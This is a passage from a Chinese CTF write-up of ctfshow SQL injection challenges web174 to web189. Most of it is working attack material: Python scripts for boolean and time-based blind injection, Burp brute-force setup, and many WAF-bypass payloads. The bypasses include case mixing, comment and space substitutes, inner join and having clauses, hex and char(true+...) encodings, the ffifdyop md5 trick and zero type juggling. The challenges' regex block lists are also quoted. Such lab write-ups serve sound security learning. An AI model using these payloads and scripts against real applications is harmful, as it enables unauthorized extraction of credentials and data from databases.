group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='#',1,0)-- - 1'and if(substring((select concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}',1,0)-- - 查出表:ctfshow_user4 查出字段:id,username,password 查内容 """ def miniContentSql (includeSql,flag=1 ,dictStrs=dictStr,showStr='' ,req=req ): """ 获取flag的小处理函数 """ s = showStr for item in range (flag,10000 ): t = 0 for string in dictStrs: t += 1 data = includeSql.format (item,string) content = getUrl(req,url,data) if '查询成功' in content: s += string break if t == len (dictStrs): break print (s) return s includeSql1 = "1' and if(substring(database(),{},1)='{}',1,0)-- -" flag1=8 showStr1 = 'The database name: ctfshow' dictStrIn1 = dictStr3 includeSql2 = "1'and if(substring((select concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}',1,0)-- -" showStr2 = 'The table name: ' dictStrIn2 = dictStr4 flag2 =1 includeSql3 = "1'and if(substring((select GROUP_CONCAT(column_name) from information_schema.columns where table_name='ctfshow_user4'),{},1)='{}',1,0)-- -" showStr3 = 'The columns name: ' includeSql4 = "1'and if(substring((select password from ctfshow_web.ctfshow_user4 limit 24,1),{},1)='{}',1,0)-- -" showStr4 = 'The id: ' dictStrIn4 = dictStr7 flag4 = 1 s4 = miniContentSql(includeSql4, flag4, dictStrIn4, showStr4, req) s = s4 return s if __name__ == '__main__' : url = "http://xxxxxxxx-xxxx-xxxx-xxxx-faa4b01ffb1d.challenge.ctf.show/api/v4.php?id={}&page=1&limit=10" req = requests.session() print (getDatabase(req,url)) while True : print ("-=" *12 ) data = input ("请输入测试内容:" ) if data == "exit" : break content = getUrl(req,url,data) print (content)
因为效率原因,也因为各种各样的限制脚本的原因,脚本跑起来并不顺畅。
换言之,他们要你手工注入,不让你脚本跑起来。
但我是半手工,自己编写规则去过滤。
虽然限制颇多,但勉强还是过了。
总结 布尔盲注,限制输出。
web175 原始信息 首先是信息和上面差不多:
查询语句:
//拼接sql语句查找指定ID用户 $sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑:
if (!preg_match ('/[\x00-\x7f]/i' , json_encode ($ret ))){ $ret ['msg' ]='查询成功' ; }
很可能把关键字符换掉了,这次只能想办法进行盲注了。
不过因为回显的字符被篡改,这次,应该是时间盲注了。
根据观察,上面的语句会对 ascii
字符串进行操作,且从观察看 ascii
字符串完全展示不出来,只有 查询失败
能展示出来。
解题 这次采用脚本爆破时间盲注的时候,死后爆不出来。或者说爆破的结果与实际数值总是有出入。于是想到了昨天解题的时候采用的Bp爆破。
burp布尔盲注的时候是不用配置什么东西的,但是进行时间盲注的时候还是得配置一下。
首先限制配置的时间,也就是得到正确答案的缓冲时间:5s
其次,配置BP如下:(参考链接点我 )
这个是获取关键的注入数据包,这个数据包的url可以在 浏览器的网络
模块抓包部分获得,也就是你选择那个测试5后选择搜索, 网络
模块会出现对应的数据包,观察URL并且截获下来修改即可。
获取到数据包后,转发到测试器
下面的小ASCII字典是要自己配置的,后面爆破的时候要注意:
到这里,时间盲注的BP环境算是配置好了。
进行时间盲注
#时间盲注的语句如下: get (这个是get 部分爆破的地方)AsciiDict(这是ascii字典) ##如果不在意这点时间消耗,直接上大的ascii字典也行。 ',abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`-{}_~0123456789|$!"#%&\' ()* + ./ :;<=> ?@[\\]^ ' ##这次是无论是不是1都是回显错误,用什么数字其实没啥好在意的,但用1比较保险。 #获取当前数据库 get: 1' and if(substring (database(),{1 },1 )= '{2}' ,sleep(5 ),0 )AsciiDict: abcdefghijklmnopqrstuvwxyz0123456789_ ##解释: ##拆分出来的是这样子的:1 'and ???-- - and左右边都是判断用的,只有全true才true。但这大重要,' ##其中的'???' 部分放置的是 'if(substring(database(),{1},1)=' {2 }',sleep(5),0)' ### if(xxx,sleep(5 ),0 ) - 如果xxx为正确的结果,得到了true ,就使用sleep延迟5 s,如果不是true 则不延迟直接回显。 ### substring (database(),{1 },1 )= '{2}' - 切割字符串,database()获取数据库名后,裁切出第{1 }位的第1 个字符,看看该字符是否等于'{2}' ### {1 }{2 } - 这两个是爆破点 ## 获取结果的办法:看下面 ## 后面的原理和上面这个差不多,就不过多赘述了
#获取当前数据库 get : 1 'and if(substring(database(),{1},1)=' {2 }',sleep(5),0)-- - ' (保持色准用的,别把我这个单引号粘贴进去了)AsciiDict: abcdefghijklmnopqrstuvwxyz0123456789_ #ctfshow_web #获取数据库对应的数据表 get : 1 'and if(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),{1},1)=' {2 }',sleep(5),0)-- - ' (保持色准用的,别把我这个单引号粘贴进去了)AsciiDict: ,abcdefghijklmnopqrstuvwxyz0123456789_ #ctfshow_user5 #获取对应表字段 get : 1 'and if(substring((select GROUP_CONCAT(column_name) from information_schema.columns where table_name=' ctfshow_user5'),{1},1)=' {2 }',sleep(5),0)-- - ' (保持色准用的,别把我这个单引号粘贴进去了)AsciiDict: ,abcdefghijklmnopqrstuvwxyz0123456789_ #id,username,password #获取flag的内容 get : 1 'and if(substring((select password from ctfshow_web.ctfshow_user5 limit 24,1),1,1)=' p',sleep(5),0)-- - ' (保持色准用的,别把我这个单引号粘贴进去了)AsciiDict: ,abcdefghijklmnopqrstuvwxyz0123456789_ #ctfshow{3 b0ab6f4- f068-423 c-8e8 e- c064327941f6}
这就是测试的全部了。
讲真,Python的request的流量特征绝对是被拦截了。因为官方说了要手注,多多少少还是有点限制的。
这里不考虑怎么去绕过限制,得到flag就行了。
总结 时间盲注,输出的字符串限制。
web176-换模式限制输入 原始信息 使用sqlmap是没有灵魂的
查询语句:
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ;
返回逻辑:
解题 这次过滤的重点是输入,不是输出(没明写,具体测测再说)
先进行一下测试:
#首先,接口的地址变了:http:/ / xxxxxxxx- xxxx- xxxx- xxxx- xxxxxxxxxxxx.challenge.ctf.show/ api/ ?id= 1 & page= 1 & limit= 10 #注点依然是id get : 1 'order by 3-- - ' return :{"code":0 ,"msg":"查询成功","count":1 ,"data":[{"id":"1","username":"admin","password":"admin"}]}get : 1 'order by 3-- - ' return : 空页面#如果是BP,这里就有一个判断点了:内容长度 #接下来是按部就班的想办法注入 #{1 }是数值注入点,{2 }是Ascii注入点。 #实验了下联合注入union ,无法直接获取。或者说直接报错。 #1. 获取数据库 get : 1 'and(if(substring(database(),{1},1)=' {2 }',0,1))-- - ' (保持色准用的,别把我这个单引号粘贴进去了)StrDict: abcdefghijklmnopqrstuvwxyz0123456789_ return : ctfshow_web##这个就是依据BP的回显了,BP的配置在上一道题目中,但是判断依据变成了长度。 ##所以说之前的配置记得复原,这次就不是延迟注入了哦 ##结果是从bp上拼接出来的 #2. 获取数据表 get : 1 'and(if(substring((select(concat(table_name)from(information_schema.tables)where(table_schema=' ctfshow_web'))),1,1)=' c',0,1))-- - ' (保持色准用的,别把我这个单引号粘贴进去了)StrDict: abcdefghijklmnopqrstuvwxyz0123456789_ return : (空页面)##上面写了有waf,说过于简单,测试双拼写:select - > selselectect get : 1 'and(if(substring(' selselectect',1,1)=' s',1,0))-- - ' (保持色准用的,别把我这个单引号粘贴进去了) return : {"code":0 ,"msg":"查询成功","count":1 ,"data":[{"id":"1","username":"admin","password":"admin"}]}##测试没有双拼的时候:select get : 1 'and(if(substring(' select ',1,1)=' s',1,0)) ' (保持色准用的,别把我这个单引号粘贴进去了) return : {"code":0 ,"msg":"查询失败","count":1 ,"data":[]} ##查询失败,意思就是结果select 没了。前面的and 和if、字符串分割都是测试过的,没有问题。否则不可能测出ctfshow_web ##测出了锁死一个select ,难怪说waf简单…… ##仔细勘测能发现select 应该是关键字锁死,可以使用大小写绕过。Mysql执行命令使用大小是没区别的。 下面是获取数据表的部分: get : 1 'and(if((substring((selEct(group_concat(table_name))from(information_schema.tables)where(table_schema=' ctfshow_web')),{1},1)=' {2 }'),1,0))-- - ' (保持色准用的,别把我这个单引号粘贴进去了) StrDict: abcdefghijklmnopqrstuvwxyz0123456789_ return : ctfshow_user#3. 获取表格的字段 get : 1 'and(if((substring((selEct(group_concat(column_name))from(information_schema.columns)where(table_name=' ctfshow_user')),{1},1)=' {2 }'),1,0))-- - ' (保持色准用的,别把我这个单引号粘贴进去了) StrDict: abcdefghijklmnopqrstuvwxyz0123456789_, return : id,username,password#4. 获取内容 get : 1 'and if(substring((Select(password)from(ctfshow_user)limit 21,1),{1},1)=' {2 }',1,0)-- - ' (保持色准用的,别把我这个单引号粘贴进去了) StrDict: abcdefghijklmnopqrstuvwxyz0123456789_,- {} return : ctfshow{62 f52cb8-69 dd- bf4b-232 c53c14553}
总结
大小写绕过:限制输入的字符串 select
,从观察看应该是限制了这个小写格式的,大小写混写时就能直接绕过了。
注入方法:布尔盲注,堆叠注入等。
无法直接跑脚本的情况都是和BP结合使用的。
web177 原始信息 使用sqlmap是没有灵魂的
查询语句 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ; 返回逻辑 function waf ($str ) { }
解题 经过测试,这次过滤的部分如下:
使用布尔注入解题:
# 这次的观察点依然是回显数据的长度,爆破工具使用BP #1. 获取数据库 get : 1 'and(if(substring(database(),{1},1)=' {2 }',1,0))%23 ' (保持色准用的,别把我这个单引号粘贴进去了) StrDict: abcdefghijklmnopqrstuvwxyz0123456789_ return : ctfshow_web#2. 获取数据表 get : 1 'and(if(substring((select(group_concat(table_name))from(information_schema.tables)where(table_schema=' ctfshow_web')),{1},1)=' {2 }',1,0))%23 ' (保持色准用的,别把我这个单引号粘贴进去了) StrDict: abcdefghijklmnopqrstuvwxyz0123456789_, return : ctfshow_user#3. 获取表字段 get : 1 'and(if(substring((select(group_concat(column_name))from(information_schema.columns)where(table_name=' ctfshow_user')),{1},1)=' {2 }',1,0))%23 ' (保持色准用的,别把我这个单引号粘贴进去了) StrDict: ,abcdefghijklmnopqrstuvwxyz0123456789_ return : id,username,password#4. 获取字段内容 get : 1 'and(if(substring((select(password)from(ctfshow_user)limit/**/21,1),{1},1)=' {c}',1,0))%23 ' (保持色准用的,别把我这个单引号粘贴进去了) StrDict: abcdefghijklmnopqrstuvwxyz0123456789{}- return : ctfshow{96 ed9762-2710 -4 ce8- a7df-13 fdae9494b4}
总结 过滤Mysql的 --
注释,没有过滤 select
.
空格需要使用 /**/
替代。
web178 原始信息 使用Sqlmap是没有灵魂的
查询语句 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ; 返回逻辑 function waf ($str ) { }
解题 # 1. 查库 get : 1 'and(if(substring(database(),{1},1)=' {2 }',1,0))%23 ' (保持色准用的,别把我这个单引号粘贴进去了) StrDict: abcdefghijklmnopqrstuvwxyz0123456789_ return : ctfshow_web# 2. 查表 get : 1 'and(if(substring((select(table_name)from(information_schema.tables)where(table_schema=' ctfshow_web')),{1},1)=' {2 }',1,0))%23 ' (保持色准用的,别把我这个单引号粘贴进去了) StrDict: abcdefghijklmnopqrstuvwxyz0123456789_ return : ctfshow_user# 3. 查字段 get : 1 'and(if(substring((select(group_concat(column_name))from(information_schema.columns)where(table_name=' ctfshow_user')),{1},1)=' {2 }',1,0))%23 ' (保持色准用的,别把我这个单引号粘贴进去了) StrDict: abcdefghijklmnopqrstuvwxyz0123456789_, return : id,username,password# 4. 查内容 ##这次需要先查username再查password核验字段位置,根据已有的password内容去计算flag所在的位置。 #因为禁用空格和/ ,limit不能用了。 get : 1 'and(if(substring((select(group_concat(password))from(ctfshow_user)),248,1)=' ,',1,0))%23 ' (保持色准用的,别把我这个单引号粘贴进去了) StrDict: abcdefghijklmnopqrstuvwxyz0123456789- {}_, return : ctfshow{d0e47721- d77d-4723 -9260 - b33ab076438c}
这次过滤(仅限测出来的):
没查出有没有什么关键字的过滤,布尔盲注用的有点插科打诨的感觉。
结果 布尔盲注直接绕过,因为控制了空格和正斜杠导致无法直接使用limit进行分割,需要根据已有信息区算出flag所在位置,避免出现杂乱数据的情况。
或者说避免出现无用数据的情况。
在SQL注入中,可以选择其它字符代替空格,制表符也行。
web179 原始信息 使用sqlmap是没有灵魂的
查询语句 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ; 返回逻辑 function waf ($str ) { }
解题 没猜错应该还是限制不到布尔注入。
# 1. 获取数据库 Get : 1 'and(if(substring(database(),{1},1)=' {2 }',1,0))%23 ' (保持色准用的,别把我这个单引号粘贴进去了) StrDict: abcdefghijklmnopqrstuvwxyz0123456789_ return : ctfshow_web# 2. 获取数据表 get : 1 'and(if(substring((select(group_concat(table_name))from(information_schema.tables)where(table_schema=' ctfshow_web')),{1},1)=' {2 }',1,0))%23 ' (保持色准用的,别把我这个单引号粘贴进去了) StrDict: abcdefghijklmnopqrstuvwxyz0123456789_, return : ctfshow_user# 3. 获取表字段 get : 1 'and(if(substring((select(group_concat(column_name))from(information_schema.columns)where(table_name=' ctfshow_user')),1,1)=' i',1,0))%23 ' (保持色准用的,别把我这个单引号粘贴进去了) StrDict: abcdefghijklmnopqrstuvwxyz0123456789_, return : id,username,password# 4. 获取字段内容 get : 1 'and(if(substring((select(group_concat(password))from(ctfshow_user)),{1},1)=' {2 }',1,0))%23 ' (保持色准用的,别把我这个单引号粘贴进去了)#这里的{1 }使用248 比较妥帖些 StrDict: abcdefghijklmnopqrstuvwxyz0123456789_,- {} return : ctfshow{d01cbc05-672e-4 fc5-80e8 - c8cfeff20a39}
结论 限制的字符在增加,但是没有限制关键字,依然使用布尔盲注。
可以使用其它字符代替空格:%0c
.
web180 原始信息 查询语句 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ; 返回逻辑 function waf ($str ) { }
解题 这次过滤了注释用的几乎所有的符号。如果说SQL中仅存在 #和--和/**/
这三种的话,这次是真的用不了了。
这里考虑直接使用明文去显示我们需要的信息。
# 和之前稍微有那么一点不同,过滤掉注释符号得换一种方式去替代 get : 1 'and(if(1>0,1,1))and' 1 # 改写下之前的payload get : 1 'and(if(substring((select(group_concat(password))from(ctfshow_user)),249,1)=' c',1,0))and' 1 #变更下变成: 1 'and(if(substring((select(group_concat(password))from(ctfshow_user)),{1},1)=' {2 }',1,0))and' 1 StrDict: abcdefghijklmnopqrstuvwxyz0123456789_,- {} return : ctfshow{adcc6739- d8d3-4 ff3- bf95- cce3a640bd48}
总结 过滤了:
绕过方法: 使用'and({数据})and' 的形式进行绕过
web181~web182 原始信息 使用SQL注入是没有灵魂的
查询语句 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ; 返回逻辑 function waf ($str ) { return preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i' , $str ); } 查询语句 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ; 返回逻辑 function waf ($str ) { return preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i' , $str ); }
解题 这次的关键字过滤有点严谨过头的感觉(头皮发麻)。
首先,这里能使用and or
两个逻辑,如果是单纯的使用and逻辑进行布尔盲注,能提取出当前数据库 ctfshow_web
,但如果是按照顺序去提取出数据表、字段、数据内容的话,如何在毫不知情的情况下绕过这么个限制枷锁去获取表和字段?
这还真是个大问题。
如果是按照前一题的经验直接测试字段名字得到对应的值,说实在有些投机取巧。这也是我不怎么赞成的原因之一。。
这是一个利用前面payload获取到的字段进行的当前题目的payload获取,如下:
get : -1 '||username=' flag (web181可以使用)#或者这个: get : -1 '||id=' 26 '||' (web181和web182通用)
对应的mysql优先级如下:
mysql操作符优先级:(数字越大,优先级越高) 优先级 运算符 1 :=2 || , OR , XOR3 && , AND4 NOT5 BETWEEN, CASE, WHEN, THEN, ELSE6 =, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN7 |8 &9 <<, >>10 -, +11 *, /, DIV, %, MOD12 ^13 - (一元减号), ~ (一元比特反转)14 !15 BINARY, COLLATE
反推真的只有取巧这一个办法吗?或者说这是字段的猜解和爆破。
结果找了一圈,貌似还真是只有这个办法……
web183-布尔注入 原始信息 查询语句
$sql = "select count(pass) from " .$_POST ['tableName' ].";" ;
返回逻辑
function waf ($str ) { return preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i' , $str ); }
查询结果
解题 观察题目,post传参。
唯一的回显点:
前面提示到:
$sql = "select count(pass) from " .$_POST ['tableName' ].";" ;
表示的是Sql语句缺一个表名,而表名需要我们通过POST传参的方式传入。
前面的参照参数是 pass
,那么尝试使用 pass
直接找出对应的flag。
tableName= `ctfshow_user`where `pass`like 'ctfshow{1}%'
参数 {1}
是替换的地方,想要最省力的替换其实写一个python脚本就解决了。
毕竟全自动,跑两遍能出flag是最省心的。
但有一种情况,是手动测试出来,比测Python更快些。
这里使用的 sql
语法是相似,泛匹配,也就是 pass like 'ctfshow{c%'
。
其中末尾的 c
是要替换的部分,而能替换上的,自然是: abcdefghijklmnopqrstuvwxyz0123456789-{}
。
通过BP爆破测试出flag的每个字符串也是可以的。
脚本爆破会受到一定的限制,这里给出一个脚本:
import requestsimport timeurl=input ('please enter url:' ) print ("*--" *12 +'*' )flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_" flag="" for i in range (0 ,34 ): for x in flagstr: data={ "tableName" :"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")" .format (flag+x) } response=requests.post(url,data=data) time.sleep(0.3 ) if response.text.find("$user_count = 1;" )>0 : print ("++++++++++++++++ {} is right" .format (x)) flag+=x break else : continue print ("ctfshow" +flag)
我是手工注入,挨个测flag的。
web184 原始信息 查询语句
$sql = "select count(*) from " .$_POST ['tableName' ].";" ;
返回逻辑
function waf ($str ) { return preg_match ('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' , $str ); }
查询结果
解题 脚本 借用一个师傅 的脚本:
import requestsdef str_to_hex (s ): f = '' .join([hex (ord (c)).replace('0x' , '' ) for c in s]) print ([f]) return f url="http://114cd434-905e-470d-a948-11d977af6bad.challenge.ctf.show/select-waf.php" flag="ctfshow{" for i in range (0 ,100 ): for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}" : exp = "ctfshow_user a inner join ctfshow_user b on b.pass like {}" .format ("0x" +str_to_hex(flag+j+"%" )) print (exp) data={ 'tableName' :exp } r=requests.post(url=url,data=data).text if "$user_count = 22;" in r: flag+=j print (flag) if j=='}' : exit() break
原理 原理是这样的:
原本的封禁当中禁用了空格,这里释放了一个对空格的过滤。,基础的sql语句组装是这样的:
select count (* ) from ctfshow_user where pass like "ctfshow%"
但是出现了被禁用关键词的情况:where,",'
被禁用。
如果想要绕过这些禁用,使用like对十六进制参数的匹配替代 "ctfshow%"
,在使用内 mysql
的 inner join内连接
去替换掉 where
(不得不说这师傅对这SQL注入真的是太熟悉了,实在是佩服)
select count (* ) from ctfshow_user a innrer join ctfshow_user b on b.pass like 0x63746673686f7725
a和b用来指代表名,而 inner join
是用来去除重复的,而后面的 on
正是指代条件用的。原本常见的是 a.pass=b.pass
但是 =
被禁用了,换成了 like
。
所以这个wp简单理解就是:
select count (* ) from ctfshow_user a innrer join ctfshow_user b on b.pass like 0x63746673686f7725 # 相当于 select count (* ) from ctfshow where pass like "ctfshow%"
变相解决 既然知道了注点在哪,那么就可以使用BP进行爆破。
BP爆破的解法:使用暴力破解+编码的形式一个个猜解。
总结
maridb
数据库语法中的 group by xxx having xxx like 'ctfshow%'
可以代替 where xxx like 'ctfshow%'
.
内连查询能逃避 where
被限制的情况:select * from table1 a inner join table2 b on a.pass like "ctfshow%"
。
十六进制字符 0x????????
串能逃避 ' 和 "
被限制的情况。
web185 原始信息 查询语句
$sql = "select count(*) from " .$_POST ['tableName' ].";" ;
返回逻辑
function waf ($str ) { return preg_match ('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' , $str ); }
查询结果
解题 正则表达式比对:
'/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' '/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i'
多过滤了数字,无法使用十六进制进行绕过了。
这里看到了一个非常巧妙的无数字注入,也就是纯字母注入。
原本的payload的是这样的:
select count (* ) from ctfshow_user group by pass having pass like 'ctfshow{%'
但是被限制了 数字 和 单引号双引号 ,所以说这个条件得换一种形式。
这里使用了 布尔 获取数字和 concat 组合字符串。还有 char()
将数字转为字符。
换一种写法就是:
select count (* ) from ctfshow_user group by pass having pass like concat(char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ),char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ),char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ),char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ),char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ),char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ),char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ),char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ),char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ))
关键的部分解析如下:
#> concat 运用 select concat(true ,true + true )#> 等价于 select concat(1 ,2 )#= 得到的结果:12 #> 字符拼接 select concat('ctf' ,'show' )#= 得到的结果:ctfshow
下面是脚本:
import requests,stringurl = "http://3709ad73-f417-4045-91fd-58e4e526b640.challenge.ctf.show/select-waf.php" header = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" , "Content-Type" : "application/x-www-form-urlencoded" } data = { 'tableName' :"ctfshow_user group by pass having pass like concat({})" } def stringToDef (string ): """ 字符串转换为函数包裹形式的机器 :param string: :return: """ pdString = "" for strs in string+"%" : numStrTrue = 'char(' +'+' .join(['true' for i in range (ord (strs))])+')' pdString+=numStrTrue if strs != (string+"%" )[-1 ]: pdString+="," return pdString flag="ctfshow{" for i in range (1 ,100 ): for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}" : print (f"{i} \t {j} " ) data={ 'tableName' :"ctfshow_user group by pass having pass like concat({})" .format (stringToDef(flag+j)) } r=requests.post(url=url,data=data,headers=header).text if "$user_count = 1;" in r: flag+=j print (flag) if j=='}' : exit() break
web186 原始信息 查询语句
$sql = "select count(*) from " .$_POST ['tableName' ].";" ;
返回逻辑
function waf ($str ) { return preg_match ('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' , $str ); }
查询结果
解题 和上面的正则表达式对比:
'/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' '/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i'
想比较,多过滤了:
如果是之前改写的脚本(web185),还是没问题的。
web187–换模式-账密 原始信息 查询语句
$sql = "select count(*) from ctfshow_user where username = '$username ' and password= '$password '" ;
返回逻辑
$username = $_POST ['username' ];$password = md5 ($_POST ['password' ],true );if ($username !='admin' ){ $ret ['msg' ]='用户名不存在' ; die (json_encode ($ret )); }
解题 username
被强制锁定在最高权限的 admin
,而 password
加密是:
199999 @wife MINGW64 ~$ php -r "echo md5('ffifdyop');" 276 f722736c95d99e921722cf9ed621c199999 @wife MINGW64 ~$ php -r "echo md5('ffifdyop',true);" 'or' 6 蒥欓!r,b
而 ffifdyop
类似于 md5
的万能密码。
所以payload为:
username=admin&password=ffifdyop
得到的结果就是flag。
web188 原始信息 查询语句
$sql = "select pass from ctfshow_user where username = {$username} " ;
返回逻辑
if (preg_match ('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==intval ($password )){ $ret ['msg' ]='登陆成功' ; array_push ($ret ['data' ], array ('flag' =>$flag )); }
解题 首先必须明确一点:
select username,password from user where username= 0 and password= 0 ;# 得到的结果是所有字母开头的用户名和密码 # 从mariadb和mysql测试出来的数据都是返回非数字开头的用户名和密码 # 这里,数据库比较数据的时候会将字符串转为0 ,如下: MariaDB [kali]> select 1 > 'admin' ; + | 1 > 'admin' | + | 1 | + 1 row in set , 1 warning (0.000 sec)
有了这个依据,试图传入数字0就是万能密码了。
且密码必须是整数,则使用如下payload即可。
POST: username=0&password=0
web189 原始信息 查询语句
$sql = "select pass from ctfshow_user where username = {$username} " ;
返回逻辑
if (preg_match ('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; }
解题 对比正则表达式:
/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i /select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i
能通过过滤的单独ascii字符串:
!"#$%&'()+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
此处借用了一下厉害师傅的脚本:
